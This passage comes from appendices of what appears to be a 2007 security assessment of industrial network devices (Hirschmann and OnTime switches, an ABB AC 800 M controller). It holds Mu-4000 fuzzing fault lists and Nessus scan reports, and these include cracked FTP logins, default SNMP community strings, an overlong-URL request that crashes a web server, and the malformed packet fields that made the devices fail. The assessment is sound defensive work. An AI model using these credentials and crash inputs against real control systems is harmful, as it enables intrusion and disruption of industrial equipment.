5/3/07 9:25 AM
Status
finished
Product
MS2108-2-Unknown
End Date
5/3/07 9:25 AM
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A2
193.75.73.1
inbound
193.75.73.8
26
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Attack Vector Set
Name
Option
Value
IPv4 (All Suites)
IPv4 Fragmented Datagrams (All Variants)
Delay
Timeout
IP Version
0
20
v4
Analysis Detail
Page 4
For Target Hirschmann-Mice-MS2108-2-Unknown
3. Hirschmann IP (0 ms delay, 500 ms timout)
Details
Name
Hirschmann IP (0 ms delay, 500 ms
Platform
Hirschmann-Mice
Start Date
5/3/07 9:23 AM
Status
finished
Product
MS2108-2-Unknown
End Date
5/3/07 9:23 AM
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A2
193.75.73.1
inbound
193.75.73.8
26
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Attack Vector Set
Name
Option
Value
IPv4 (All Suites)
IPv4 Fragmented Datagrams (All Variants)
Delay
Timeout
IP Version
0
500
v4
Analysis Detail
Page 5
For Target Hirschmann-Mice-MS2108-2-Unknown
Attack Vector Set
Name
IPv4 Fragmented Datagrams (All Variants)
Option
Value
Delay
Timeout
IP Version
0
500
v4
4. Hirschmann SNMP (0 ms delay, 500 ms timout)
Details
Name
Hirschmann SNMP (0 ms delay, 500 ms
Platform
Hirschmann-Mice
Start Date
5/3/07 9:27 AM
Status
failed
Product
MS2108-2-Unknown
End Date
5/3/07 9:27 AM
Target Setup
Analysis Detail
Page 6
For Target Hirschmann-Mice-MS2108-2-Unknown
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A2
193.75.73.1
inbound
193.75.73.8
26
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Attack Vector Set
Name
Option
Value
SNMP (4/7 Suites)
SNMP Discovery Messages (v3) (All Variants)
SNMP Get Bulk Messages (v2c) (All Variants)
SNMP Get Messages (v1) (All Variants)
SNMP Get Next Messages (v1) (All Variants)
MD5 Password
Adaptive Authentication
SHA-1 Password
Authentication Username
Delay
Timeout
IP Version
Layer-4 Destination Port
Adaptive Transport
Layer-4 Source Port
SNMP Community Name
Object Identifier
SMI Data Type
Object Identifier Value
secret
none
secret
username
0
500
v4
161
udp
public
1.3.6.1.2.1.1.5.0
str
musec
Analysis Detail
Page 7
For Target Hirschmann-Mice-MS2108-2-Unknown
Faults
Fault
Range
Detection
Isolation
Time
1.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maximumrepetitions.values
27-36
Instrumentation
Variant
5/3/07 11:08:12 AM
2.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maximumrepetitions.values
37
Instrumentation
Variant
5/3/07 11:08:28 AM
3.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maximumrepetitions.values
40
Instrumentation
Vector
5/3/07 11:08:51 AM
5. Hirschmann SNMP (200 ms delay, 2000 ms
Details
Name
Hirschmann SNMP (200 ms delay, 2000
Platform
Hirschmann-Mice
Start Date
5/3/07 11:42 AM
Status
finished
Product
MS2108-2-Unknown
End Date
5/4/07 10:22 AM
Target Setup
Analysis Detail
Page 8
For Target Hirschmann-Mice-MS2108-2-Unknown
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A2
193.75.73.1
inbound
193.75.73.8
26
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Attack Vector Set
Name
Option
Value
SNMP (4/7 Suites)
SNMP Discovery Messages (v3) (All Variants)
SNMP Get Bulk Messages (v2c) (All Variants)
SNMP Get Messages (v1) (All Variants)
SNMP Get Next Messages (v1) (All Variants)
MD5 Password
Adaptive Authentication
SHA-1 Password
Authentication Username
Delay
Timeout
IP Version
Layer-4 Destination Port
Adaptive Transport
Layer-4 Source Port
SNMP Community Name
Object Identifier
SMI Data Type
Object Identifier Value
secret
none
secret
username
200
2000
v4
161
udp
public
1.3.6.1.2.1.1.5.0
str
musec
Analysis Detail
Page 9
For Target Hirschmann-Mice-MS2108-2-Unknown
Faults
Fault
Range
Detection
Isolation
Time
1.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.length.overlong
644-645
Instrumentation
Variant
5/3/07 7:38:15 PM
2.
SNMP Get Bulk Messages (v2c) - pdu.sequence.length.overlong
543-544
Instrumentation
Variant
5/3/07 11:47:32 PM
3.
SNMP Get Messages (v1) - pdu.sequence.get.variablebindings.variable0.length.overlong
83-84
Instrumentation
Variant
5/4/07 4:07:18 AM
4.
SNMP Get Next Messages (v1) - pdu.sequence.get-next.requestidentifier.length.overlong
495-496
Instrumentation
Variant
5/4/07 7:35:21 AM
Appendix D
Nessus Report on 193.75.73.20,
Ontime FS 200
D.1
Open Ports (TCP and UDP)
193.75.73.20 has the following ports that are open :
• general/tcp
• ftp (21/tcp)
• snmp (161/udp)
• telnet (23/tcp)
• ntp (123/udp)
• general/icmp
• general/udp
You should disable the services that you do not use, as they are potential security flaws.
D.2
Details of the Vulnerabilities
D.2.1
Problems Regarding : General/TCP
Security note :
•
HTTP NIDS evasion functions are enabled.
188
D.2. DETAILS OF THE VULNERABILITIES
189
You may get some false negative results
•
Information about this scan :
Nessus version : 2.2.6 (Nessus 2.2.9 is available - consider
upgrading)
Plugin feed version : 200703130909
Type of plugin feed : Registered (7 days delay)
Scanner IP : 193.75.73.2
Port range : 1-15000
Thorough tests : yes
Experimental tests : yes
Paranoia level : 1
Report Verbosity : 2
Safe checks : no
Max hosts : 20
Max checks : 4
Scan duration : unknown (ping_host.nasl not launched?)
•
The following ports were open at the beginning of the scan but are now
closed:
Port 21 was detected as being open but is now closed
Port 23 was detected as being open but is now closed
This might be an availability problem related which might be due to
the following reasons :
- The remote host is now down, either because a user turned it off
during the scan
- A selected denial of service was effective against this host
- A network outage has been experienced during the scan, and the
remote
network cannot be reached from the Vulnerability Scanner any more
- This Vulnerability Scanner has been blacklisted by the system
administrator
190
APPENDIX D. NESSUS REPORT ON 193.75.73.20, ONTIME FS 200
or by automatic intrusion detection/prevention systems which have
detected the
vulnerability assessment.
In any case, the audit of the remote host might be incomplete and may
need to
be done again
D.2.2
Problems Regarding : FTP (21/TCP)
Security holes :
•
This FTP server accepts
any login/password combination. This is a real
threat, since anyone can browse the FTP section
of your disk without your consent.
Solution : upgrade WFTP.
Risk factor : High
CVE : CVE-1999-0200
•
The remote server is incorrectly configured
with a NULL password for the user ’Administrator’ and has
FTP enabled.
Solution : Change the Administrator password on this host.
Risk factor : High
•
It is possible to log into the remote FTP server with the
username ’admin’ and the password ’password’.
If the remote host is a NB1300 router, this would allow an attacker
to steal the WAN credentials of the user, or even to reconfigure his
router remotely.
D.2. DETAILS OF THE VULNERABILITIES
191
Solution : Change the admin password on this host.
Risk factor : High
BID : 7359
•
It is possible to log into the remote FTP server
as ’ ’/’ ’.
If the remote server is PFTP, then anyone
can use this account to read arbitrary files
on the remote host.
Solution : upgrade PFTP to version 2.9g
Risk factor : High
•
Hydra was
username:
username:
username:
username:
username:
username:
username:
able to break the following FTP accounts:
admin password:admin
admin password:
admin password:nocrc
admin password:albany
admin password:aaa
admin password:albatross
admin password:albert
Security warnings :
•
It is possible to force the FTP server to connect to third parties
hosts by using
the PORT command.
This problem allows intruders to use your network resources to scan
other hosts, making
them think the attack comes from your network, or it can even allow
them to go through
your firewall.
Solution : Upgrade to the latest version of your FTP server, or use
another FTP server.
Risk factor : Medium
CVE : CVE-1999-0017
BID : 126
192
APPENDIX D. NESSUS REPORT ON 193.75.73.20, ONTIME FS 200
•
The remote host is running the ArGoSoft FTP server.
It was possible to shut down the remote FTP server by issuing
a XCWD command followed by a too long argument.
This problem allows an attacker to prevent the remote site i
from sharing some resources with the rest of the world.
Solution : Upgrade to 1.4.1.2 or newer
Risk factor : Medium
BID : 8704
Other references : OSVDB:2618
•
It was possible to
shut down the remote FTP server by issuing
a CWD command followed by a too long
argument.
This problem allows an attacker to prevent
your site from sharing some resources
with the rest of the world.
Solution : upgrade to the latest version your FTP server.
Risk factor : Medium
CVE : CVE-1999-0219
BID : 269
Security note :
• A FTP server is running on this port
• Synopsis :
An FTP server is listening on this port
Description :
It is possible to obtain the banner of the remote FTP server
by connecting to the remote port.
Risk factor :
D.2. DETAILS OF THE VULNERABILITIES
193
None
Plugin output :
The remote FTP banner is :
220 VxWorks (5.4) FTP server ready
• Synopsis :
Anonymous logins are allowed on the remote FTP server.
Description :
This FTP service allows anonymous logins. If you do not want to share
data
with anyone you do not know, then you should deactivate the anonymous
account,
since it can only cause troubles.
Risk factor :
Low / CVSS Base Score : 2
(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:N)
Plugin output :
The content of the remote FTP root is :
Can’t open "host:".
CVE : CVE-1999-0497
D.2.3
Problems Regarding : SNMP (161/UDP)
Security holes :
• Synopsis :
The community name of the remote SNMP server can be guessed.
Description :
194
APPENDIX D. NESSUS REPORT ON 193.75.73.20, ONTIME FS 200
It is possible to obtain the default community names of the remote
SNMP server.
An attacker may use this information to gain more knowledge about
the remote host, or to change the configuration of the remote
system (if the default community allow such modifications).
Solution :
Disable the SNMP service on the remote host if you do not use it,
filter incoming UDP packets going to this port, or change the
default community string.
Risk factor :
High
Plugin output :
The remote SNMP server replies to the following default community
strings :
private
public
cisco
CVE : CVE-1999-0517, CVE-1999-0186, CVE-1999-0254, CVE-1999-0516
BID : 11237, 10576, 177, 2112, 6825, 7081, 7212, 7317, 9681, 986
Other references : IAVA:2001-B-0001
Security note :
• Synopsis :
The System Information of the remote host can be obtained via SNMP.
Description :
It is possible to obtain the system information about the remote
host by sending SNMP requests with the OID 1.3.6.1.2.1.1.1.
An attacker may use this information to gain more knowledge about
the target host.
D.2. DETAILS OF THE VULNERABILITIES
195
Solution :
Disable the SNMP service on the remote host if you do not use it,
or filter incoming UDP packets going to this port.
Risk factor :
Low
Plugin output :
System information :
sysDescr
sysObjectID
sysUptime
sysContact
sysName
sysLocation
sysServices
D.2.4
:
:
:
:
:
:
:
Ontime Networks switch FS200. Software version = 2.32
1.3.6.1.4.1.16177.1.1
0d 1h 32m 37s
Anders
musec
nocrc
72
Problems Regarding : Telnet (23/TCP)
Security holes :
•
The Telnet server does not return an expected number of replies
when it receives a long sequence of ’Are You There’ commands.
This probably means it overflows one of its internal buffers and
crashes. It is likely an attacker could abuse this bug to gain
control over the remote host’s superuser.
For more information, see:
http://www.team-teso.net/advisories/teso-advisory-011.tar.gz
Solution: Comment out the ’telnet’ line in /etc/inetd.conf.
Risk factor : High
CVE : CVE-2001-0554
BID : 3064
196
APPENDIX D. NESSUS REPORT ON 193.75.73.20, ONTIME FS 200
Other references : IAVA:2001-t-0008, OSVDB:809
Security warnings :
• Synopsis :
A telnet server is listening on the remote port
Description :
The remote host is running a telnet server.
Using telnet is not recommended as logins, passwords and commands
are transferred in clear text.
An attacker may eavesdrop on a telnet session and obtain the
credentials of other users.
Solution :
Disable this service and use SSH instead
Risk factor :
Medium / CVSS Base Score : 4
(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:C)
Plugin output:
Remote telnet banner:
VxWorks login:
• Synopsis :
A telnet server is listening on the remote port
Description :
The remote host is running a telnet server.
Using telnet is not recommended as logins, passwords and commands
are transferred in clear text.
D.2. DETAILS OF THE VULNERABILITIES
197
An attacker may eavesdrop on a telnet session and obtain the
credentials of other users.
Solution :
Disable this service and use SSH instead
Risk factor :
Medium / CVSS Base Score : 4
(AV:R/AC:L/Au:NR/C:P/A:N/I:N/B:C)
Plugin output:
Remote telnet banner:
VxWorks login:
Security note :
• A TELNET server is running on this port
Problems Regarding : NTP (123/UDP)
Security note :
•
An NTP (Network Time Protocol) server is listening on this port.
Risk factor : Low
D.2.5
Problems Regarding : general/ICMP
Security note :
• Synopsis :
It is possible to determine the exact time set on the remote host.
Description :
198
APPENDIX D. NESSUS REPORT ON 193.75.73.20, ONTIME FS 200
The remote host answers to an ICMP timestamp request. This allows an
attacker to know the date which is set on your machine.
This may help him to defeat all your time based authentication protocols.
Solution :
Filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).
Risk factor :
None / CVSS Base Score : 0
(AV:R/AC:L/Au:NR/C:N/A:N/I:N/B:N)
Plugin output :
The difference between the local and remote clocks is 42283 seconds
CVE : CVE-1999-0524
• Here is the route recorded between 193.75.73.2 and 193.75.73.20 :
193.75.73.20.
D.2.6
Problems Regarding : General/UDP
Security note :
• For your information, here is the traceroute from 193.75.73.2 to
193.75.73.20 :
193.75.73.2
193.75.73.20
D.3
Mu 4000 Summary Report
Analysis Detail
Overview
1.
Name
Target
Attack Vector Set
Status
Start Date
End Date
On-Time Fieldswitch
2007-02-19 (4)
FieldSwitch/FST208F0-8DT-Unknown
AVS 3
finished
2/19/07 2:32 PM
2/20/07 12:02 PM
1. On-Time Fieldswitch 2007-02-19 (4)
Details
Name
On-Time Fieldswitch 2007-02-19 (4)
Platform
OnTime Networks-FieldSwitch
Start Date
2/19/07 2:32 PM
Status
finished
Product
FST208F0-8DT-Unknown
End Date
2/20/07 12:02 PM
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A1
193.75.73.1
inbound
193.75.73.20
24
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Analysis Detail
Page 2
For Target OnTime Networks-FieldSwitch-FST208F0-8DT-
Attack Vector Set
Name
Option
Value
ARP (All Suites)
ARP Messages (All Variants)
Delay
Timeout
0
250
IPv4 (All Suites)
IPv4 Fragmented Datagrams (All Variants)
Delay
Timeout
IP Version
0
250
v4
SNMP (4/7 Suites)
SNMP Get Bulk Messages (v2c) (All Variants)
SNMP Get Messages (v1) (All Variants)
SNMP Get Next Messages (v1) (All Variants)
SNMP Set Messages (v1) (All Variants)
MD5 Password
Adaptive Authentication
SHA-1 Password
Authentication Username
Delay
Timeout
IP Version
Layer-4 Destination Port
Adaptive Transport
Layer-4 Source Port
SNMP Community Name
Object Identifier
SMI Data Type
Object Identifier Value
secret
none
secret
username
0
2000
v4
161
udp
Delay
Timeout
IP Version
Diff-Serv Code Point Value
Layer-4 Destination Port
Layer-4 Source Port
0
250
v4
0
53
12345
UDP (All Suites)
UDP IPv4 Datagrams (All Variants)
public
1.3.6.1.2.1.1.5.0
str
musec
Analysis Detail
Page 3
For Target OnTime Networks-FieldSwitch-FST208F0-8DT-
Faults
Fault
Range
Detection
Isolation
Time
1.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maxrepetitions.values
60
Instrumentation
Vector
2/19/07 3:56:01 PM
2.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maxrepetitions.values
61
Instrumentation
Vector
2/19/07 3:57:07 PM
3.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.maxrepetitions.values
62
Instrumentation
Vector
2/19/07 3:58:12 PM
4.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
301
Instrumentation
Vector
2/19/07 4:40:50 PM
5.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
303
Instrumentation
Vector
2/19/07 4:41:57 PM
6.
SNMP Get Bulk Messages (v2c) - pdu.sequence.get-bulk.values1
304
Instrumentation
Vector
2/19/07 4:43:02 PM
7.
SNMP Set Messages (v1) - pdu.sequence.set.variable-bindings.repeated
0
Instrumentation
Vector
2/20/07 8:51:44 AM
8.
SNMP Set Messages (v1) - pdu.sequence.set.variable-bindings.repeated
1
Instrumentation
Vector
2/20/07 9:01:15 AM
9.
SNMP Set Messages (v1) - pdu.sequence.set.variable-bindings.repeated
2
Instrumentation
Vector
2/20/07 9:10:42 AM
10.
UDP IPv4 Datagrams - ipv4.options.loose-source-record-route.pointer-length 37
Instrumentation
Vector
2/20/07 11:41:16 AM
11.
UDP IPv4 Datagrams - ipv4.options.loose-source-record-route.pointer-length 49
Instrumentation
Vector
2/20/07 11:42:38 AM
12.
UDP IPv4 Datagrams - ipv4.options.record-route.route.repeated
0-7
Instrumentation
Variant
2/20/07 11:48:17 AM
13.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
0
Instrumentation
Vector
2/20/07 11:56:07 AM
14.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
1
Instrumentation
Vector
2/20/07 11:57:11 AM
15.
UDP IPv4 Datagrams - ipv4.options.timestamp.misaligned
2
Instrumentation
Vector
2/20/07 11:58:15 AM
Appendix E
Nessus Report on 172.16.0.20,
ABB AC 800 M
E.1
Open ports (TCP and UDP)
172.16.0.20 has the following ports that are open :
• general/tcp
• sunrpc (111/tcp)
• http (80/tcp)
• iso-tsap (102/tcp)
• general/icmp
• general/udp
• ntp (123/udp)
You should disable the services that you do not use, as they are potential security flaws.
E.2
E.2.1
Details of the Vulnerabilities
Problems Regarding : General/TCP
Security note :
• The remote host is up
201
202
APPENDIX E. NESSUS REPORT ON 172.16.0.20, ABB AC 800 M
• Synopsis :
The remote service implements TCP timestamps.
Description :
The remote host implements TCP timestamps, as defined by RFC1323.
A side effect of this feature is that the uptime of the remote
host can be sometimes be computed.
See also :
http://www.ietf.org/rfc/rfc1323.txt
Risk factor :
None
Plugin output :
The uptime was estimated to 1344s, i.e. about 22 min.
(Note that the clock is running at about 2 Hz and will
overflow in about -2147483648s)
• Information about this scan :
Nessus version : 3.0.5
Plugin feed version : 200706130615
Type of plugin feed : Registered (7 days delay)
Scanner IP : 172.16.0.30
Port scanner(s) : nessus_tcp_scanner synscan
Port range : 1-15000
Thorough tests : yes
Experimental tests : yes
Paranoia level : 1
Report Verbosity : 1
Safe checks : no
Optimize the test : no
Max hosts : 20
Max checks : 4
Scan Start Date : 2007/6/13 15:39
Scan duration : 1631 sec
E.2. DETAILS OF THE VULNERABILITIES
203
• The following ports were open at the beginning of the scan but are now
closed:
Port 111 was detected as being open but is now closed
Port 102 was detected as being open but is now closed
Port 80 was detected as being open but is now closed
This might be an availability problem related which might be due to
the following reasons :
- The remote host is now down, either because a user turned it off
during the scan
- A selected denial of service was effective against this host
- A network outage has been experienced during the scan, and the
remote
network cannot be reached from the Vulnerability Scanner any more
- This Vulnerability Scanner has been blacklisted by the system
administrator
or by automatic intrusion detection/prevention systems which have
detected the
vulnerability assessment.
In any case, the audit of the remote host might be incomplete and may
need to
be done again
E.2.2
Problems Regarding : HTTP (80/TCP)
Security holes :
• It was possible to kill the remobe
web server by requesting
GET /cgi-bin/A.AAAA[...]A HTTP/1.0
This is known to trigger a heap overflow in some servers like
CERN HTTPD.
A cracker may use this flaw to disrupt your server. It *might*
also be exploitable to run malicious code on the machine.
Solution : Ask your vendor for a patch or move to another server
204
APPENDIX E. NESSUS REPORT ON 172.16.0.20, ABB AC 800 M
Risk factor : High
• Oracle 9i Application Server uses Apache as it’s web
server. There is a buffer overflow in the mod_plsql module
which allows an attacker to run arbitrary code.
Solution:
Oracle have released a patch for this vulnerability, which
is available from:
http://metalink.oracle.com
References:
http://www.nextgenss.com/advisories/plsql.txt
http://otn.oracle.com/deploy/security/pdf/modplsql.pdf
Risk factor : High
CVE : CVE-2001-1216
BID : 3726
• The remote web server seems to be vulnerable to a format string attack
on HTTP 1.0 header value.
An attacker might use this flaw to make it crash or even execute
arbitrary code on this host.
Solution : upgrade your software or contact your vendor and inform him
of this vulnerability
Risk factor : High
• The remote web server crashes when it receives a too long URL.
It might be possible to make it execute arbitrary code through this
flaw.
Solution : Contact your vendor for a patch
Risk factor : High
Solution : Upgrade your web server.
CVE : CVE-2000-0002, CVE-2000-0065, CVE-2000-0571, CVE-2001-1250,
E.2. DETAILS OF THE VULNERABILITIES
205
CVE-2003-0125, CVE-2003-0833, CVE-2006-1652
BID : 889, 1423, 2979, 6994, 7067, 7280, 8726, 17378
Other references : OSVDB:1442, OSVDB:3996
Security note :
• A web server is running on this port
• Synopsis :
HMAP fingerprints the remote HTTP server.
Description :
By sending several valid and invalid HTTP requests, it
may be possible to identify the remote web server type.
In some cases, its version can also be approximated, as
well as some options.
An attacker may use this tool to identify the kind of the
remote web server and gain further knowledge about this host.
Suggestions for defense against fingerprinting are presented in
http://acsac.org/2002/abstracts/96.html
See also :
http://ujeni.murkyroc.com/hmap/
http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf
Risk factor :
Low
Plugin output :
Nessus was not able to reliably identify this server. It might be:
GoAhead-Webs [version 2.1, pre-compiled for Windows]
The fingerprint differs from these known signatures on 1 point(s)
• Synopsis :
206
APPENDIX E. NESSUS REPORT ON 172.16.0.20, ABB AC 800 M
A web server is running on the remote host.
Description :
This plugin attempts to determine the type and the version of
the remote web server.
Risk factor :
None
Plugin output :
The remote web server type is :
GoAhead-Webs
• Synopsis :
Some information about the remote HTTP configuration can be
extracted.
Description :
This test gives some information about the remote HTTP protocol - the
version
used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
This test is informational only and does not denote any security
problem
Solution :
None.
Risk factor :
None / CVSS Base Score : 0
(AV:R/AC:L/Au:NR/C:N/A:N/I:N/B:N)
Plugin output :
E.2. DETAILS OF THE VULNERABILITIES
207
Protocol version : HTTP/1.0
SSL : no
Pipelining : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :
Server: GoAhead-Webs
Date: THU JAN 01 00:33:05 1970
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Location: http://172.16.0.20/index.htm
E.2.3
Problems Regarding : General/ICMP
Security note :
• Synopsis :
It is possible to determine the exact time set on the remote host.
Description :
The remote host answers to an ICMP timestamp request. This allows an
attacker
to know the date which is set on your machine.
This may help him to defeat all your time based authentication
protocols.
Solution : filter out the ICMP timestamp requests (13), and the
outgoing ICMP
timestamp replies (14).
Risk factor :
Low / CVSS Base Score : 2.3
(AV:R/AC:L/Au:NR/C:P/I:N/A:N/B:N)
208
APPENDIX E. NESSUS REPORT ON 172.16.0.20, ABB AC 800 M
Plugin output :
The difference between the local and remote clocks is 47914 seconds
CVE : CVE-1999-0524
E.2.4
Problems Regarding : General/UDP
Security note :
• For your information, here is the traceroute from 172.16.0.30 to
172.16.0.20 :
172.16.0.30
172.16.0.20
E.2.5
Problems Regarding : NTP (123/UDP)
Security note :
• Synopsis :
An NTP server is listening on the remote host.
Description :
An NTP (Network Time Protocol) server is listening on this port.
It provides information about the current date and time of the
remote system and may provide system information.
Risk factor :
None
E.3
Mu 4000 Summary Report
Analysis Detail
Overview
Name
1.
Target
AC800M_ICMPv4/ARP/S AC800M/PM860-5.0.11.61
NMPTRAP
Attack Vector Set
Status
Start Date
End Date
AVS 52
finished
5/22/07 10:36 AM
5/22/07 12:30 PM
1. AC800M_ICMPv4/ARP/SNMPTRAP
Details
Name
AC800M_ICMPv4/ARP/SNMPTRAP
Platform
ABB-AC800M
Start Date
5/22/07 10:36 AM
Status
finished
Product
PM860-5.0.11.61
End Date
5/22/07 12:30 PM
Target Setup
Testbed
Endpoint
Mu-4000
Target
Interface
IP
Interface
IP
CIDR
A1
193.75.73.2
inbound
193.75.73.11
24
Monitor
Not selected using no channel
Restarter
Internal Restarter (Power A)
Analysis Detail
Page 2
For Target ABB-AC800M-PM860-5.0.11.61
Attack Vector Set
Name
Option
Value
ARP (All Suites)
ARP Messages (All Variants)
Delay
Timeout
0
250
ICMPv4 (All Suites)
ICMPv4 Echo Requests (All Variants)
ICMPv4 Echo Requests, Fragmented (All Variants)
ICMPv4 Timestamp Requests (All Variants)
Delay
Timeout
IP Version
Diff-Serv Code Point Value
0
250
v4
0
SNMPTRAP (All Suites)
SNMP TRAP Messages (All Variants)
Delay
Timeout
IP Version
Layer-4 Destination Port
Adaptive Transport
Layer-4 Source Port
SNMPTRAP Community
Enterprise Object Identifier
SNMPTRAP Trap Type
0
250
v4
162
udp
public
1.3.6.1.4.1.31337.0
coldStart
Faults
Fault
Range
Detection
Isolation
Time
1.
ICMPv4 Echo Requests, Fragmented - first.ipv4.header.length.length.16-bit
64-80
Instrumentation
Variant
5/22/07 10:54:20 AM
2.
ICMPv4 Echo Requests, Fragmented - first.ipv4.header.length.length.16-bit
129-143
Instrumentation
Variant
5/22/07 10:54:37 AM
3.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.format-string
48-64
Instrumentation
Variant
5/22/07 10:55:16 AM
4.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.loose-source-record 32-48
-route.length.all
Instrumentation
Variant
5/22/07 10:56:17 AM
Analysis Detail
Page 3
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Detection
Isolation
Time
5.
Fault
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.loose-source-record 97-113
-route.length.all
Instrumentation
Variant
5/22/07 10:57:10 AM
6.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.loose-source-record 162-178
-route.length.all
Instrumentation
Variant
5/22/07 10:57:12 AM
7.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.loose-source-record 48-64
-route.pointer-length
Instrumentation
Variant
5/22/07 10:58:03 AM
8.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.loose-source-record 113-129
-route.pointer-length
Instrumentation
Variant
5/22/07 10:58:31 AM
9.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.invalid
0-16
Instrumentation
Variant
5/22/07 10:59:13 AM
10.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.invalid
49-65
Instrumentation
Variant
5/22/07 10:59:19 AM
11.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.invalid
130-146
Instrumentation
Variant
5/22/07 10:59:47 AM
12.
ICMPv4 Echo Requests, Fragmented first.ipv4.options.option.length.missing
48-64
Instrumentation
Variant
5/22/07 11:00:48 AM
13.
ICMPv4 Echo Requests, Fragmented first.ipv4.options.option.length.missing
113-129
Instrumentation
Variant
5/22/07 11:01:42 AM
14.
ICMPv4 Echo Requests, Fragmented first.ipv4.options.option.length.missing
178-194
Instrumentation
Variant
5/22/07 11:01:44 AM
15.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.zero
48-64
Instrumentation
Variant
5/22/07 11:02:45 AM
16.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.zero
113-129
Instrumentation
Variant
5/22/07 11:03:38 AM
17.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.option.length.zero
178-194
Instrumentation
Variant
5/22/07 11:03:40 AM
18.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.recordroute.length.all
48-64
Instrumentation
Variant
5/22/07 11:04:41 AM
19.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.recordroute.length.all
113-129
Instrumentation
Variant
5/22/07 11:05:35 AM
Analysis Detail
Range
Page 4
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Fault
Range
Detection
Isolation
Time
20.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.recordroute.length.all
178-194
Instrumentation
Variant
5/22/07 11:05:36 AM
21.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.record-route.pointer- 48-64
length
Instrumentation
Variant
5/22/07 11:06:27 AM
22.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.record-route.pointer- 113-129
length
Instrumentation
Variant
5/22/07 11:06:55 AM
23.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.routeralert.length.all
0-16
Instrumentation
Variant
5/22/07 11:07:40 AM
24.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.routeralert.length.all
49-65
Instrumentation
Variant
5/22/07 11:07:49 AM
25.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.routeralert.length.all
66-82
Instrumentation
Variant
5/22/07 11:08:05 AM
26.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.security.length.all
64-80
Instrumentation
Vector Range
5/22/07 11:09:37 AM
27.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.security.length.all
161-162
Instrumentation
Vector Range
5/22/07 11:09:50 AM
28.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.security.length.all
163
Instrumentation
Variant
5/22/07 11:09:52 AM
29.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 64-80
route.length.all
Instrumentation
Variant
5/22/07 11:10:23 AM
30.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 81
route.length.all
Instrumentation
Vector
5/22/07 11:10:53 AM
31.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 146
route.length.all
Instrumentation
Vector
5/22/07 11:11:11 AM
32.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 0
route.pointer-length
Instrumentation
Variant
5/22/07 11:11:21 AM
33.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 66-82
route.pointer-length
Instrumentation
Vector Range
5/22/07 11:12:32 AM
34.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.strict-source-record- 0-16
route.route.invalid
Instrumentation
Vector Range
5/22/07 11:13:30 AM
Analysis Detail
Page 5
For Target ABB-AC800M-PM860-5.0.11.61
Faults
Fault
Range
Detection
Isolation
Time
35.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.string.overflow
32-48
Instrumentation
Vector Range
5/22/07 11:14:41 AM
36.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.string.utf-8
32-48
Instrumentation
Vector Range
5/22/07 11:15:57 AM
37.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.length.all 32-48
Instrumentation
Vector Range
5/22/07 11:16:55 AM
38.
ICMPv4 Echo Requests, Fragmented - first.ipv4.options.timestamp.length.all 129-130
Instrumentation
Variant
5/22/07 11:17:00 AM
39.
